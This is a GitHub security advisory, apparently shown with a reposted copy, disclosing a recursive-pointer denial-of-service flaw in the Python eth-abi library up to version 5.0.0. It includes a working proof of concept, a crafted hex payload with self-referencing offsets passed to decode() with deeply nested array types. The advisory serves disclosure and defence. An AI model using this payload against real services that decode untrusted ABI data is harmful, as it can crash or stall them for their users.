Headline

GHSA-3qwc-47jf-5rf7: eth-abi is vulnerable to recursive DoS

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it’s a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))

11 months ago

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GitHub Advisory Database
GitHub Reviewed
GHSA-3qwc-47jf-5rf7

eth-abi is vulnerable to recursive DoS

Moderate severity GitHub Reviewed Published Mar 4, 2024 in ethereum/eth-abi • Updated Mar 5, 2024

Package

pip eth-abi (pip)

Affected versions

<= 5.0.0

Description

This is related to recent ZST stuff (GHSA-rqr8-pxh7-cq3g), but it’s a different one. Basically a recursive pointer issue

from eth_abi import decode

payload = “0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020”

# OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+(‘00’ * 1024)))

References